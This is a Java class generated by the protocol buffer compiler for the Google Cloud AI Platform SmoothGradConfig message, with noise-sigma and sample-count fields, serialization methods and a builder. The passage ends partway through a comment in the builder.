text:
// Generated by the protocol buffer compiler.  DO NOT EDIT!
// source: google/cloud/aiplatform/v1/explanation.proto

package com.google.cloud.aiplatform.v1;

/**
 *
 *
 *

 * Config for SmoothGrad approximation of gradients.
 * When enabled, the gradients are approximated by averaging the gradients from
 * noisy samples in the vicinity of the inputs. Adding noise can help improve
 * the computed gradients. Refer to this paper for more details:
 * https://arxiv.org/pdf/1706.03825.pdf
 *

 *
 * Protobuf type {@code google.cloud.aiplatform.v1.SmoothGradConfig}
 */
public final class SmoothGradConfig extends com.google.protobuf.GeneratedMessageV3
    implements
    // @@protoc_insertion_point(message_implements:google.cloud.aiplatform.v1.SmoothGradConfig)
    SmoothGradConfigOrBuilder {
  private static final long serialVersionUID = 0L;
  // Use SmoothGradConfig.newBuilder() to construct.
  private SmoothGradConfig(com.google.protobuf.GeneratedMessageV3.Builder<?> builder) {
    super(builder);
  }

  private SmoothGradConfig() {}

  @java.lang.Override
  @SuppressWarnings({"unused"})
  protected java.lang.Object newInstance(UnusedPrivateParameter unused) {
    return new SmoothGradConfig();
  }

  @java.lang.Override
  public final com.google.protobuf.UnknownFieldSet getUnknownFields() {
    return this.unknownFields;
  }

  public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
    return com.google.cloud.aiplatform.v1.ExplanationProto
        .internal_static_google_cloud_aiplatform_v1_SmoothGradConfig_descriptor;
  }

  @java.lang.Override
  protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
      internalGetFieldAccessorTable() {
    return com.google.cloud.aiplatform.v1.ExplanationProto
        .internal_static_google_cloud_aiplatform_v1_SmoothGradConfig_fieldAccessorTable
        .ensureFieldAccessorsInitialized(
            com.google.cloud.aiplatform.v1.SmoothGradConfig.class,
            com.google.cloud.aiplatform.v1.SmoothGradConfig.Builder.class);
  }

  private int gradientNoiseSigmaCase_ = 0;
  private java.lang.Object gradientNoiseSigma_;

  public enum GradientNoiseSigmaCase
      implements
          com.google.protobuf.Internal.EnumLite,
          com.google.protobuf.AbstractMessage.InternalOneOfEnum {
    NOISE_SIGMA(1),
    FEATURE_NOISE_SIGMA(2),
    GRADIENTNOISESIGMA_NOT_SET(0);
    private final int value;

    private GradientNoiseSigmaCase(int value) {
      this.value = value;
    }
    /**
     * @param value The number of the enum to look for.
     * @return The enum associated with the given number.
     * @deprecated Use {@link #forNumber(int)} instead.
     */
    @java.lang.Deprecated
    public static GradientNoiseSigmaCase valueOf(int value) {
      return forNumber(value);
    }

    public static GradientNoiseSigmaCase forNumber(int value) {
      switch (value) {
        case 1:
          return NOISE_SIGMA;
        case 2:
          return FEATURE_NOISE_SIGMA;
        case 0:
          return GRADIENTNOISESIGMA_NOT_SET;
        default:
          return null;
      }
    }

    public int getNumber() {
      return this.value;
    }
  };

  public GradientNoiseSigmaCase getGradientNoiseSigmaCase() {
    return GradientNoiseSigmaCase.forNumber(gradientNoiseSigmaCase_);
  }

  public static final int NOISE_SIGMA_FIELD_NUMBER = 1;
  /**
   *
   *
   *

   * This is a single float value and will be used to add noise to all the
   * features. Use this field when all features are normalized to have the
   * same distribution: scale to range [0, 1], [-1, 1] or z-scoring, where
   * features are normalized to have 0-mean and 1-variance. Learn more about
   * [normalization](https://developers.google.com/machine-learning/data-prep/transform/normalization).
   * For best results the recommended value is about 10% - 20% of the standard
   * deviation of the input feature. Refer to section 3.2 of the SmoothGrad
   * paper: https://arxiv.org/pdf/1706.03825.pdf. Defaults to 0.1.
   * If the distribution is different per feature, set
   * [feature_noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.feature_noise_sigma] instead
   * for each feature.
   *

   *
   * float noise_sigma = 1;
   *
   * @return Whether the noiseSigma field is set.
   */
  @java.lang.Override
  public boolean hasNoiseSigma() {
    return gradientNoiseSigmaCase_ == 1;
  }
  /**
   *
   *
   *

   * This is a single float value and will be used to add noise to all the
   * features. Use this field when all features are normalized to have the
   * same distribution: scale to range [0, 1], [-1, 1] or z-scoring, where
   * features are normalized to have 0-mean and 1-variance. Learn more about
   * [normalization](https://developers.google.com/machine-learning/data-prep/transform/normalization).
   * For best results the recommended value is about 10% - 20% of the standard
   * deviation of the input feature. Refer to section 3.2 of the SmoothGrad
   * paper: https://arxiv.org/pdf/1706.03825.pdf. Defaults to 0.1.
   * If the distribution is different per feature, set
   * [feature_noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.feature_noise_sigma] instead
   * for each feature.
   *

   *
   * float noise_sigma = 1;
   *
   * @return The noiseSigma.
   */
  @java.lang.Override
  public float getNoiseSigma() {
    if (gradientNoiseSigmaCase_ == 1) {
      return (java.lang.Float) gradientNoiseSigma_;
    }
    return 0F;
  }

  public static final int FEATURE_NOISE_SIGMA_FIELD_NUMBER = 2;
  /**
   *
   *
   *

   * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
   * provides additional flexibility. A separate noise sigma can be provided
   * for each feature, which is useful if their distributions are different.
   * No noise is added to features that are not set. If this field is unset,
   * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
   * features.
   *

   *
   * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
   *
   * @return Whether the featureNoiseSigma field is set.
   */
  @java.lang.Override
  public boolean hasFeatureNoiseSigma() {
    return gradientNoiseSigmaCase_ == 2;
  }
  /**
   *
   *
   *

   * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
   * provides additional flexibility. A separate noise sigma can be provided
   * for each feature, which is useful if their distributions are different.
   * No noise is added to features that are not set. If this field is unset,
   * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
   * features.
   *

   *
   * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
   *
   * @return The featureNoiseSigma.
   */
  @java.lang.Override
  public com.google.cloud.aiplatform.v1.FeatureNoiseSigma getFeatureNoiseSigma() {
    if (gradientNoiseSigmaCase_ == 2) {
      return (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_;
    }
    return com.google.cloud.aiplatform.v1.FeatureNoiseSigma.getDefaultInstance();
  }
  /**
   *
   *
   *

   * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
   * provides additional flexibility. A separate noise sigma can be provided
   * for each feature, which is useful if their distributions are different.
   * No noise is added to features that are not set. If this field is unset,
   * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
   * features.
   *

   *
   * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
   */
  @java.lang.Override
  public com.google.cloud.aiplatform.v1.FeatureNoiseSigmaOrBuilder getFeatureNoiseSigmaOrBuilder() {
    if (gradientNoiseSigmaCase_ == 2) {
      return (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_;
    }
    return com.google.cloud.aiplatform.v1.FeatureNoiseSigma.getDefaultInstance();
  }

  public static final int NOISY_SAMPLE_COUNT_FIELD_NUMBER = 3;
  private int noisySampleCount_;
  /**
   *
   *
   *

   * The number of gradient samples to use for
   * approximation. The higher this number, the more accurate the gradient
   * is, but the runtime complexity increases by this factor as well.
   * Valid range of its value is [1, 50]. Defaults to 3.
   *

   *
   * int32 noisy_sample_count = 3;
   *
   * @return The noisySampleCount.
   */
  @java.lang.Override
  public int getNoisySampleCount() {
    return noisySampleCount_;
  }

  private byte memoizedIsInitialized = -1;

  @java.lang.Override
  public final boolean isInitialized() {
    byte isInitialized = memoizedIsInitialized;
    if (isInitialized == 1) return true;
    if (isInitialized == 0) return false;

    memoizedIsInitialized = 1;
    return true;
  }

  @java.lang.Override
  public void writeTo(com.google.protobuf.CodedOutputStream output) throws java.io.IOException {
    if (gradientNoiseSigmaCase_ == 1) {
      output.writeFloat(1, (float) ((java.lang.Float) gradientNoiseSigma_));
    }
    if (gradientNoiseSigmaCase_ == 2) {
      output.writeMessage(
          2, (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_);
    }
    if (noisySampleCount_ != 0) {
      output.writeInt32(3, noisySampleCount_);
    }
    getUnknownFields().writeTo(output);
  }

  @java.lang.Override
  public int getSerializedSize() {
    int size = memoizedSize;
    if (size != -1) return size;

    size = 0;
    if (gradientNoiseSigmaCase_ == 1) {
      size +=
          com.google.protobuf.CodedOutputStream.computeFloatSize(
              1, (float) ((java.lang.Float) gradientNoiseSigma_));
    }
    if (gradientNoiseSigmaCase_ == 2) {
      size +=
          com.google.protobuf.CodedOutputStream.computeMessageSize(
              2, (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_);
    }
    if (noisySampleCount_ != 0) {
      size += com.google.protobuf.CodedOutputStream.computeInt32Size(3, noisySampleCount_);
    }
    size += getUnknownFields().getSerializedSize();
    memoizedSize = size;
    return size;
  }

  @java.lang.Override
  public boolean equals(final java.lang.Object obj) {
    if (obj == this) {
      return true;
    }
    if (!(obj instanceof com.google.cloud.aiplatform.v1.SmoothGradConfig)) {
      return super.equals(obj);
    }
    com.google.cloud.aiplatform.v1.SmoothGradConfig other =
        (com.google.cloud.aiplatform.v1.SmoothGradConfig) obj;

    if (getNoisySampleCount() != other.getNoisySampleCount()) return false;
    if (!getGradientNoiseSigmaCase().equals(other.getGradientNoiseSigmaCase())) return false;
    switch (gradientNoiseSigmaCase_) {
      case 1:
        if (java.lang.Float.floatToIntBits(getNoiseSigma())
            != java.lang.Float.floatToIntBits(other.getNoiseSigma())) return false;
        break;
      case 2:
        if (!getFeatureNoiseSigma().equals(other.getFeatureNoiseSigma())) return false;
        break;
      case 0:
      default:
    }
    if (!getUnknownFields().equals(other.getUnknownFields())) return false;
    return true;
  }

  @java.lang.Override
  public int hashCode() {
    if (memoizedHashCode != 0) {
      return memoizedHashCode;
    }
    int hash = 41;
    hash = (19 * hash) + getDescriptor().hashCode();
    hash = (37 * hash) + NOISY_SAMPLE_COUNT_FIELD_NUMBER;
    hash = (53 * hash) + getNoisySampleCount();
    switch (gradientNoiseSigmaCase_) {
      case 1:
        hash = (37 * hash) + NOISE_SIGMA_FIELD_NUMBER;
        hash = (53 * hash) + java.lang.Float.floatToIntBits(getNoiseSigma());
        break;
      case 2:
        hash = (37 * hash) + FEATURE_NOISE_SIGMA_FIELD_NUMBER;
        hash = (53 * hash) + getFeatureNoiseSigma().hashCode();
        break;
      case 0:
      default:
    }
    hash = (29 * hash) + getUnknownFields().hashCode();
    memoizedHashCode = hash;
    return hash;
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(java.nio.ByteBuffer data)
      throws com.google.protobuf.InvalidProtocolBufferException {
    return PARSER.parseFrom(data);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(
      java.nio.ByteBuffer data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
      throws com.google.protobuf.InvalidProtocolBufferException {
    return PARSER.parseFrom(data, extensionRegistry);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(
      com.google.protobuf.ByteString data)
      throws com.google.protobuf.InvalidProtocolBufferException {
    return PARSER.parseFrom(data);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(
      com.google.protobuf.ByteString data,
      com.google.protobuf.ExtensionRegistryLite extensionRegistry)
      throws com.google.protobuf.InvalidProtocolBufferException {
    return PARSER.parseFrom(data, extensionRegistry);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(byte[] data)
      throws com.google.protobuf.InvalidProtocolBufferException {
    return PARSER.parseFrom(data);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(
      byte[] data, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
      throws com.google.protobuf.InvalidProtocolBufferException {
    return PARSER.parseFrom(data, extensionRegistry);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(java.io.InputStream input)
      throws java.io.IOException {
    return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(
      java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
      throws java.io.IOException {
    return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
        PARSER, input, extensionRegistry);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseDelimitedFrom(
      java.io.InputStream input) throws java.io.IOException {
    return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(PARSER, input);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseDelimitedFrom(
      java.io.InputStream input, com.google.protobuf.ExtensionRegistryLite extensionRegistry)
      throws java.io.IOException {
    return com.google.protobuf.GeneratedMessageV3.parseDelimitedWithIOException(
        PARSER, input, extensionRegistry);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(
      com.google.protobuf.CodedInputStream input) throws java.io.IOException {
    return com.google.protobuf.GeneratedMessageV3.parseWithIOException(PARSER, input);
  }

  public static com.google.cloud.aiplatform.v1.SmoothGradConfig parseFrom(
      com.google.protobuf.CodedInputStream input,
      com.google.protobuf.ExtensionRegistryLite extensionRegistry)
      throws java.io.IOException {
    return com.google.protobuf.GeneratedMessageV3.parseWithIOException(
        PARSER, input, extensionRegistry);
  }

  @java.lang.Override
  public Builder newBuilderForType() {
    return newBuilder();
  }

  public static Builder newBuilder() {
    return DEFAULT_INSTANCE.toBuilder();
  }

  public static Builder newBuilder(com.google.cloud.aiplatform.v1.SmoothGradConfig prototype) {
    return DEFAULT_INSTANCE.toBuilder().mergeFrom(prototype);
  }

  @java.lang.Override
  public Builder toBuilder() {
    return this == DEFAULT_INSTANCE ? new Builder() : new Builder().mergeFrom(this);
  }

  @java.lang.Override
  protected Builder newBuilderForType(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
    Builder builder = new Builder(parent);
    return builder;
  }
  /**
   *
   *
   *

   * Config for SmoothGrad approximation of gradients.
   * When enabled, the gradients are approximated by averaging the gradients from
   * noisy samples in the vicinity of the inputs. Adding noise can help improve
   * the computed gradients. Refer to this paper for more details:
   * https://arxiv.org/pdf/1706.03825.pdf
   *

   *
   * Protobuf type {@code google.cloud.aiplatform.v1.SmoothGradConfig}
   */
  public static final class Builder extends com.google.protobuf.GeneratedMessageV3.Builder<Builder>
      implements
      // @@protoc_insertion_point(builder_implements:google.cloud.aiplatform.v1.SmoothGradConfig)
      com.google.cloud.aiplatform.v1.SmoothGradConfigOrBuilder {
    public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
      return com.google.cloud.aiplatform.v1.ExplanationProto
          .internal_static_google_cloud_aiplatform_v1_SmoothGradConfig_descriptor;
    }

    @java.lang.Override
    protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
        internalGetFieldAccessorTable() {
      return com.google.cloud.aiplatform.v1.ExplanationProto
          .internal_static_google_cloud_aiplatform_v1_SmoothGradConfig_fieldAccessorTable
          .ensureFieldAccessorsInitialized(
              com.google.cloud.aiplatform.v1.SmoothGradConfig.class,
              com.google.cloud.aiplatform.v1.SmoothGradConfig.Builder.class);
    }

    // Construct using com.google.cloud.aiplatform.v1.SmoothGradConfig.newBuilder()
    private Builder() {}

    private Builder(com.google.protobuf.GeneratedMessageV3.BuilderParent parent) {
      super(parent);
    }

    @java.lang.Override
    public Builder clear() {
      super.clear();
      if (featureNoiseSigmaBuilder_ != null) {
        featureNoiseSigmaBuilder_.clear();
      }
      noisySampleCount_ = 0;

      gradientNoiseSigmaCase_ = 0;
      gradientNoiseSigma_ = null;
      return this;
    }

    @java.lang.Override
    public com.google.protobuf.Descriptors.Descriptor getDescriptorForType() {
      return com.google.cloud.aiplatform.v1.ExplanationProto
          .internal_static_google_cloud_aiplatform_v1_SmoothGradConfig_descriptor;
    }

    @java.lang.Override
    public com.google.cloud.aiplatform.v1.SmoothGradConfig getDefaultInstanceForType() {
      return com.google.cloud.aiplatform.v1.SmoothGradConfig.getDefaultInstance();
    }

    @java.lang.Override
    public com.google.cloud.aiplatform.v1.SmoothGradConfig build() {
      com.google.cloud.aiplatform.v1.SmoothGradConfig result = buildPartial();
      if (!result.isInitialized()) {
        throw newUninitializedMessageException(result);
      }
      return result;
    }

    @java.lang.Override
    public com.google.cloud.aiplatform.v1.SmoothGradConfig buildPartial() {
      com.google.cloud.aiplatform.v1.SmoothGradConfig result =
          new com.google.cloud.aiplatform.v1.SmoothGradConfig(this);
      if (gradientNoiseSigmaCase_ == 1) {
        result.gradientNoiseSigma_ = gradientNoiseSigma_;
      }
      if (gradientNoiseSigmaCase_ == 2) {
        if (featureNoiseSigmaBuilder_ == null) {
          result.gradientNoiseSigma_ = gradientNoiseSigma_;
        } else {
          result.gradientNoiseSigma_ = featureNoiseSigmaBuilder_.build();
        }
      }
      result.noisySampleCount_ = noisySampleCount_;
      result.gradientNoiseSigmaCase_ = gradientNoiseSigmaCase_;
      onBuilt();
      return result;
    }

    @java.lang.Override
    public Builder clone() {
      return super.clone();
    }

    @java.lang.Override
    public Builder setField(
        com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
      return super.setField(field, value);
    }

    @java.lang.Override
    public Builder clearField(com.google.protobuf.Descriptors.FieldDescriptor field) {
      return super.clearField(field);
    }

    @java.lang.Override
    public Builder clearOneof(com.google.protobuf.Descriptors.OneofDescriptor oneof) {
      return super.clearOneof(oneof);
    }

    @java.lang.Override
    public Builder setRepeatedField(
        com.google.protobuf.Descriptors.FieldDescriptor field, int index, java.lang.Object value) {
      return super.setRepeatedField(field, index, value);
    }

    @java.lang.Override
    public Builder addRepeatedField(
        com.google.protobuf.Descriptors.FieldDescriptor field, java.lang.Object value) {
      return super.addRepeatedField(field, value);
    }

    @java.lang.Override
    public Builder mergeFrom(com.google.protobuf.Message other) {
      if (other instanceof com.google.cloud.aiplatform.v1.SmoothGradConfig) {
        return mergeFrom((com.google.cloud.aiplatform.v1.SmoothGradConfig) other);
      } else {
        super.mergeFrom(other);
        return this;
      }
    }

    public Builder mergeFrom(com.google.cloud.aiplatform.v1.SmoothGradConfig other) {
      if (other == com.google.cloud.aiplatform.v1.SmoothGradConfig.getDefaultInstance())
        return this;
      if (other.getNoisySampleCount() != 0) {
        setNoisySampleCount(other.getNoisySampleCount());
      }
      switch (other.getGradientNoiseSigmaCase()) {
        case NOISE_SIGMA:
          {
            setNoiseSigma(other.getNoiseSigma());
            break;
          }
        case FEATURE_NOISE_SIGMA:
          {
            mergeFeatureNoiseSigma(other.getFeatureNoiseSigma());
            break;
          }
        case GRADIENTNOISESIGMA_NOT_SET:
          {
            break;
          }
      }
      this.mergeUnknownFields(other.getUnknownFields());
      onChanged();
      return this;
    }

    @java.lang.Override
    public final boolean isInitialized() {
      return true;
    }

    @java.lang.Override
    public Builder mergeFrom(
        com.google.protobuf.CodedInputStream input,
        com.google.protobuf.ExtensionRegistryLite extensionRegistry)
        throws java.io.IOException {
      if (extensionRegistry == null) {
        throw new java.lang.NullPointerException();
      }
      try {
        boolean done = false;
        while (!done) {
          int tag = input.readTag();
          switch (tag) {
            case 0:
              done = true;
              break;
            case 13:
              {
                gradientNoiseSigma_ = input.readFloat();
                gradientNoiseSigmaCase_ = 1;
                break;
              } // case 13
            case 18:
              {
                input.readMessage(
                    getFeatureNoiseSigmaFieldBuilder().getBuilder(), extensionRegistry);
                gradientNoiseSigmaCase_ = 2;
                break;
              } // case 18
            case 24:
              {
                noisySampleCount_ = input.readInt32();

                break;
              } // case 24
            default:
              {
                if (!super.parseUnknownField(input, extensionRegistry, tag)) {
                  done = true; // was an endgroup tag
                }
                break;
              } // default:
          } // switch (tag)
        } // while (!done)
      } catch (com.google.protobuf.InvalidProtocolBufferException e) {
        throw e.unwrapIOException();
      } finally {
        onChanged();
      } // finally
      return this;
    }

    private int gradientNoiseSigmaCase_ = 0;
    private java.lang.Object gradientNoiseSigma_;

    public GradientNoiseSigmaCase getGradientNoiseSigmaCase() {
      return GradientNoiseSigmaCase.forNumber(gradientNoiseSigmaCase_);
    }

    public Builder clearGradientNoiseSigma() {
      gradientNoiseSigmaCase_ = 0;
      gradientNoiseSigma_ = null;
      onChanged();
      return this;
    }

    /**
     *
     *
     *

     * This is a single float value and will be used to add noise to all the
     * features. Use this field when all features are normalized to have the
     * same distribution: scale to range [0, 1], [-1, 1] or z-scoring, where
     * features are normalized to have 0-mean and 1-variance. Learn more about
     * [normalization](https://developers.google.com/machine-learning/data-prep/transform/normalization).
     * For best results the recommended value is about 10% - 20% of the standard
     * deviation of the input feature. Refer to section 3.2 of the SmoothGrad
     * paper: https://arxiv.org/pdf/1706.03825.pdf. Defaults to 0.1.
     * If the distribution is different per feature, set
     * [feature_noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.feature_noise_sigma] instead
     * for each feature.
     *

     *
     * float noise_sigma = 1;
     *
     * @return Whether the noiseSigma field is set.
     */
    public boolean hasNoiseSigma() {
      return gradientNoiseSigmaCase_ == 1;
    }
    /**
     *
     *
     *

     * This is a single float value and will be used to add noise to all the
     * features. Use this field when all features are normalized to have the
     * same distribution: scale to range [0, 1], [-1, 1] or z-scoring, where
     * features are normalized to have 0-mean and 1-variance. Learn more about
     * [normalization](https://developers.google.com/machine-learning/data-prep/transform/normalization).
     * For best results the recommended value is about 10% - 20% of the standard
     * deviation of the input feature. Refer to section 3.2 of the SmoothGrad
     * paper: https://arxiv.org/pdf/1706.03825.pdf. Defaults to 0.1.
     * If the distribution is different per feature, set
     * [feature_noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.feature_noise_sigma] instead
     * for each feature.
     *

     *
     * float noise_sigma = 1;
     *
     * @return The noiseSigma.
     */
    public float getNoiseSigma() {
      if (gradientNoiseSigmaCase_ == 1) {
        return (java.lang.Float) gradientNoiseSigma_;
      }
      return 0F;
    }
    /**
     *
     *
     *

     * This is a single float value and will be used to add noise to all the
     * features. Use this field when all features are normalized to have the
     * same distribution: scale to range [0, 1], [-1, 1] or z-scoring, where
     * features are normalized to have 0-mean and 1-variance. Learn more about
     * [normalization](https://developers.google.com/machine-learning/data-prep/transform/normalization).
     * For best results the recommended value is about 10% - 20% of the standard
     * deviation of the input feature. Refer to section 3.2 of the SmoothGrad
     * paper: https://arxiv.org/pdf/1706.03825.pdf. Defaults to 0.1.
     * If the distribution is different per feature, set
     * [feature_noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.feature_noise_sigma] instead
     * for each feature.
     *

     *
     * float noise_sigma = 1;
     *
     * @param value The noiseSigma to set.
     * @return This builder for chaining.
     */
    public Builder setNoiseSigma(float value) {
      gradientNoiseSigmaCase_ = 1;
      gradientNoiseSigma_ = value;
      onChanged();
      return this;
    }
    /**
     *
     *
     *

     * This is a single float value and will be used to add noise to all the
     * features. Use this field when all features are normalized to have the
     * same distribution: scale to range [0, 1], [-1, 1] or z-scoring, where
     * features are normalized to have 0-mean and 1-variance. Learn more about
     * [normalization](https://developers.google.com/machine-learning/data-prep/transform/normalization).
     * For best results the recommended value is about 10% - 20% of the standard
     * deviation of the input feature. Refer to section 3.2 of the SmoothGrad
     * paper: https://arxiv.org/pdf/1706.03825.pdf. Defaults to 0.1.
     * If the distribution is different per feature, set
     * [feature_noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.feature_noise_sigma] instead
     * for each feature.
     *

     *
     * float noise_sigma = 1;
     *
     * @return This builder for chaining.
     */
    public Builder clearNoiseSigma() {
      if (gradientNoiseSigmaCase_ == 1) {
        gradientNoiseSigmaCase_ = 0;
        gradientNoiseSigma_ = null;
        onChanged();
      }
      return this;
    }

    private com.google.protobuf.SingleFieldBuilderV3<
            com.google.cloud.aiplatform.v1.FeatureNoiseSigma,
            com.google.cloud.aiplatform.v1.FeatureNoiseSigma.Builder,
            com.google.cloud.aiplatform.v1.FeatureNoiseSigmaOrBuilder>
        featureNoiseSigmaBuilder_;
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     *
     * @return Whether the featureNoiseSigma field is set.
     */
    @java.lang.Override
    public boolean hasFeatureNoiseSigma() {
      return gradientNoiseSigmaCase_ == 2;
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     *
     * @return The featureNoiseSigma.
     */
    @java.lang.Override
    public com.google.cloud.aiplatform.v1.FeatureNoiseSigma getFeatureNoiseSigma() {
      if (featureNoiseSigmaBuilder_ == null) {
        if (gradientNoiseSigmaCase_ == 2) {
          return (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_;
        }
        return com.google.cloud.aiplatform.v1.FeatureNoiseSigma.getDefaultInstance();
      } else {
        if (gradientNoiseSigmaCase_ == 2) {
          return featureNoiseSigmaBuilder_.getMessage();
        }
        return com.google.cloud.aiplatform.v1.FeatureNoiseSigma.getDefaultInstance();
      }
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     */
    public Builder setFeatureNoiseSigma(com.google.cloud.aiplatform.v1.FeatureNoiseSigma value) {
      if (featureNoiseSigmaBuilder_ == null) {
        if (value == null) {
          throw new NullPointerException();
        }
        gradientNoiseSigma_ = value;
        onChanged();
      } else {
        featureNoiseSigmaBuilder_.setMessage(value);
      }
      gradientNoiseSigmaCase_ = 2;
      return this;
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     */
    public Builder setFeatureNoiseSigma(
        com.google.cloud.aiplatform.v1.FeatureNoiseSigma.Builder builderForValue) {
      if (featureNoiseSigmaBuilder_ == null) {
        gradientNoiseSigma_ = builderForValue.build();
        onChanged();
      } else {
        featureNoiseSigmaBuilder_.setMessage(builderForValue.build());
      }
      gradientNoiseSigmaCase_ = 2;
      return this;
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     */
    public Builder mergeFeatureNoiseSigma(com.google.cloud.aiplatform.v1.FeatureNoiseSigma value) {
      if (featureNoiseSigmaBuilder_ == null) {
        if (gradientNoiseSigmaCase_ == 2
            && gradientNoiseSigma_
                != com.google.cloud.aiplatform.v1.FeatureNoiseSigma.getDefaultInstance()) {
          gradientNoiseSigma_ =
              com.google.cloud.aiplatform.v1.FeatureNoiseSigma.newBuilder(
                      (com.google.cloud.aiplatform.v1.FeatureNoiseSigma) gradientNoiseSigma_)
                  .mergeFrom(value)
                  .buildPartial();
        } else {
          gradientNoiseSigma_ = value;
        }
        onChanged();
      } else {
        if (gradientNoiseSigmaCase_ == 2) {
          featureNoiseSigmaBuilder_.mergeFrom(value);
        } else {
          featureNoiseSigmaBuilder_.setMessage(value);
        }
      }
      gradientNoiseSigmaCase_ = 2;
      return this;
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
     * provides additional flexibility. A separate noise sigma can be provided
     * for each feature, which is useful if their distributions are different.
     * No noise is added to features that are not set. If this field is unset,
     * [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma] will be used for all
     * features.
     *

     *
     * .google.cloud.aiplatform.v1.FeatureNoiseSigma feature_noise_sigma = 2;
     */
    public Builder clearFeatureNoiseSigma() {
      if (featureNoiseSigmaBuilder_ == null) {
        if (gradientNoiseSigmaCase_ == 2) {
          gradientNoiseSigmaCase_ = 0;
          gradientNoiseSigma_ = null;
          onChanged();
        }
      } else {
        if (gradientNoiseSigmaCase_ == 2) {
          gradientNoiseSigmaCase_ = 0;
          gradientNoiseSigma_ = null;
        }
        featureNoiseSigmaBuilder_.clear();
      }
      return this;
    }
    /**
     *
     *
     *

     * This is similar to [noise_sigma][google.cloud.aiplatform.v1.SmoothGradConfig.noise_sigma], but
